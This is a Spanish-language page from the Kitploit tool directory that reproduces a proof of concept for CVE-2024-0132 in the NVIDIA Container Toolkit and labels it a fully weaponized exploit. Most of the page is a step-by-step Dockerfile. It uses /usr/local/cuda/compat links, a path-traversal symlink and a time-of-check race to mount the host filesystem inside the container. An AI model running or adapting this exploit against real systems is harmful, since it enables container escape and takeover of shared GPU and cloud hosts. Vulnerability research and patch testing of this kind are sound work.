Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-0132 — CVE-2024-0132 – Exploit completamente armado del NVIDIA Container Toolkit | Kitploit
Herramientas/GitHubGitHub/r0binak/cve-2024-0132
Escalada de PrivilegiosSeguridad de ContenedoresAnálisis de VulnerabilidadesExplotaciónSeguridad en la NubeEscape de Contenedores
GitHubr0binak/cve-2024-0132

CVE-2024-0132

CVE-2024-0132 – Exploit completamente armado del NVIDIA Container Toolkit

Ver Repositorio
61hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-0132

CVE-2024-0132 PoC

Empecemos decidiendo una imagen base. La disposición de las bibliotecas en el sistema depende de cuál sea. Por ejemplo, para alpine será /usr/lib64/, para ubuntu será /usr/lib/x86_64-linux-gnu. Usaremos ubuntu como imagen base.

root@kitploit:~
FROM ubuntu

El nvidia containter toolkit verifica las bibliotecas en /usr/local/cuda/compat/ dentro del contenedor y luego las monta en el directorio principal de bibliotecas; para esta imagen (ubuntu) esto sería /usr/lib/x86_64-linux-gnu.

Los enlaces también se montan, por lo que puedes montar cualquier archivo y directorio de la imagen a /usr/lib/x86_64-linux-gnu. Esto verifica que el enlace se resuelva dentro del contenedor, no puede usar múltiples ../ para path traversal. Sin embargo, esto se puede eludir usando el montaje dentro del contenedor a través de /usr/local/cuda/compat/ dos veces, de ahí TOCTOU.

Lee más sobre el mecanismo de montaje desde /usr/local/cuda/compat/:

  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_container.c#L61
  • https://github.com/NVIDIA/libnvidia-container/blob/4c2494f16573b585788a42e9c7bee76ecd48c73d/src/nvc_mount.c#L768
root@kitploit:~
RUN mkdir -p /usr/local/cuda/compat/

Crea dos directorios:

  1. El directorio original contendrá un archivo normal con el contenido de test
root@kitploit:~
RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
  1. El segundo directorio con el mismo nombre contendrá un enlace con path traversal en lugar de un archivo.
root@kitploit:~
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs

El nombre libdxcore.so se elige para satisfacer los filtros. La versión mayor (1337) debe ser diferente de la versión real del controlador.

Crea dos enlaces en /usr/local/cuda/compat/:

  1. El primer enlace sustituirá el contenido del directorio original /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ por /pwn/libdxcore.so.1337/
root@kitploit:~
RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
  1. El segundo enlace monta /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs a /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Durante la verificación será un archivo normal, pero en el momento del montaje será un enlace que estaba en /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, por lo tanto el sistema de archivos del host se montará en /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.
root@kitploit:~
RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2
Descargar herramienta